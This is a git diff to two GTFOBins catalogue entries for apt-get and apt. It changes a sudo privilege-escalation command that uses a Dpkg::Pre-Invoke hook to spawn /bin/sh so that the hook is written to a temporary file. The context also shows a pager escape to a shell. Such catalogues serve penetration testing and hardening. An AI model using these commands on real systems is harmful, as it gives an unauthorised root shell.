diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md
index af5fba0..70c2f33 100644
--- a/_gtfobins/apt-get.md
+++ b/_gtfobins/apt-get.md
@@ -11,5 +11,8 @@ functions:
         sudo apt-get changelog apt
         !/bin/sh
     - description: For this to work the target package (e.g., `sl`) must not be installed.
-      code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
+      code: |
+        TF=$(mktemp)
+        echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
+        sudo apt-get install -c $TF sl
 ---
diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md
index 9e5e274..94d9df5 100644
--- a/_gtfobins/apt.md
+++ b/_gtfobins/apt.md
@@ -11,5 +11,8 @@ functions:
         sudo apt-get changelog apt
         !/bin/sh
     - description: For this to work the target package (e.g., `sl`) must not be installed.
-      code: sudo apt install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
+      code: |
+        TF=$(mktemp)
+        echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
+        sudo apt install -c $TF sl
 ---